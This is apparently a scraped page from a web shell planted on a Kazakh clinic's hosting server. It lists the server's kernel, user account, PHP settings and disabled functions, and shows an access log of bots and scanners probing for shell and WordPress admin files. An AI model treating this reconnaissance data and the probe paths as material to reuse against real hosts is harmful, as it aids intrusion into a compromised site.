HEX
Server: Apache
System: Linux srv-plesk28.ps.kz 5.14.0-284.18.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jun 29 17:06:27 EDT 2023 x86_64
User: greencl1 (10085)
PHP: 8.1.33
Disabled: apache_setenv,dl,eval,exec,openlog,passthru,pcntl_exec,pcntl_fork,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,socket_create,socket_create_listen,socket_create_pair,syslog,system,socket_listen,stream_socket_server
$ pwd: /var/www/vhosts/greenclinic.kz/logs/zakup.greenclinic.kz/
Upload Files
File: /var/www/vhosts/greenclinic.kz/logs/zakup.greenclinic.kz/access_ssl_log
95.108.213.88 - - [30/Dec/2025:07:43:17 +0500] "GET /robots.txt HTTP/1.0" 500 4630 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
213.180.203.33 - - [30/Dec/2025:07:45:17 +0500] "GET /robots.txt HTTP/1.0" 500 4630 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
213.180.203.98 - - [30/Dec/2025:07:47:17 +0500] "GET /robots.txt HTTP/1.0" 500 4630 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
5.255.231.154 - - [30/Dec/2025:07:49:17 +0500] "GET /robots.txt HTTP/1.0" 500 4630 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
213.180.203.99 - - [30/Dec/2025:07:51:17 +0500] "GET /robots.txt HTTP/1.0" 500 4630 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
87.250.224.215 - - [30/Dec/2025:07:53:17 +0500] "GET /robots.txt HTTP/1.0" 500 4630 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
5.255.231.154 - - [30/Dec/2025:07:55:18 +0500] "GET /robots.txt HTTP/1.0" 500 4630 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
213.180.203.33 - - [30/Dec/2025:07:59:18 +0500] "GET /robots.txt HTTP/1.0" 500 4630 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
64.226.70.57 - - [30/Dec/2025:10:18:17 +0500] "POST / HTTP/1.0" 200 6511 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
20.27.216.90 - - [30/Dec/2025:10:30:06 +0500] "GET /info.php HTTP/1.0" 403 4830 "https://www.google.de/" "Mozilla/5.0 (Linux; Android 10; LM-Q720) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Mobile Safari/537.36"
20.27.216.90 - - [30/Dec/2025:10:30:07 +0500] "GET /about.php HTTP/1.0" 403 4830 "https://www.yahoo.com/" "Mozilla/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36"
20.27.216.90 - - [30/Dec/2025:10:30:07 +0500] "GET /admin.php HTTP/1.0" 500 4630 "https://www.yahoo.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Mobile/15E148 Safari/604.1"
20.27.216.90 - - [30/Dec/2025:10:30:08 +0500] "GET /edit.php HTTP/1.0" 500 4630 "https://www.bing.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1"
20.27.216.90 - - [30/Dec/2025:10:30:09 +0500] "GET /ahax.php HTTP/1.0" 403 4830 "https://duckduckgo.com/" "Mozilla/5.0 (Linux; Android 11; 21081111RG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Mobile Safari/537.36"
20.27.216.90 - - [30/Dec/2025:10:30:09 +0500] "GET /ioxi-o.php HTTP/1.0" 403 4830 "https://www.bing.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_7_9 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.5 Mobile/15E148 Safari/604.1"
20.27.216.90 - - [30/Dec/2025:10:30:10 +0500] "GET /bless.php HTTP/1.0" 403 4830 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 12; SM-A525F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Mobile Safari/537.36"
20.27.216.90 - - [30/Dec/2025:10:30:11 +0500] "GET /bolt.php HTTP/1.0" 403 4830 "https://www.google.de/" "Mozilla/5.0 (iPad; CPU OS 16_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1"
4.213.153.145 - - [30/Dec/2025:14:22:46 +0500] "GET /wp-good.php HTTP/1.0" 403 4830 "https://www.bing.com/" "Mozilla/5.0 (Linux; Android 12; SM-A525F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Mobile Safari/537.36"
4.213.153.145 - - [30/Dec/2025:14:22:47 +0500] "GET /ioxi-o.php HTTP/1.0" 403 4830 "https://www.yahoo.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/118.0 Mobile/15E148 Safari/605.1.15"
4.213.153.145 - - [30/Dec/2025:14:22:47 +0500] "GET /file.php HTTP/1.0" 403 4830 "https://www.google.co.uk/" "Mozilla/5.0 (Linux; Android 13; SM-G991U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Mobile Safari/537.36"
4.213.153.145 - - [30/Dec/2025:14:22:47 +0500] "GET /wp-admin/css/colors/blue HTTP/1.0" 500 4630 "https://duckduckgo.com/" "Mozilla/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36"
4.213.153.145 - - [30/Dec/2025:14:22:48 +0500] "GET /wp-signin.php HTTP/1.0" 403 4830 "https://duckduckgo.com/" "Mozilla/5.0 (iPad; CPU OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Mobile/15E148 Safari/604.1"
4.213.153.145 - - [30/Dec/2025:14:22:48 +0500] "GET /abcd.php HTTP/1.0" 403 4830 "https://duckduckgo.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1"
4.213.153.145 - - [30/Dec/2025:14:22:49 +0500] "GET /wp-includes/block-bindings HTTP/1.0" 500 4630 "https://www.yahoo.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Mobile/15E148 Safari/604.1"
4.213.153.145 - - [30/Dec/2025:14:22:49 +0500] "GET /about.php HTTP/1.0" 403 4830 "https://www.google.com/" "Mozilla/5.g (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Mobile Safari/537.36"
2.58.56.174 - - [30/Dec/2025:15:16:26 +0500] "GET / HTTP/1.0" 200 6511 "-" "-"
2.58.56.174 - - [30/Dec/2025:15:16:26 +0500] "GET /wp-admin/install.php HTTP/1.0" 500 4630 "-" "-"
2.58.56.174 - - [30/Dec/2025:15:16:26 +0500] "GET /wp-admin/setup-config.php HTTP/1.0" 500 4630 "-" "-"
@ Telegram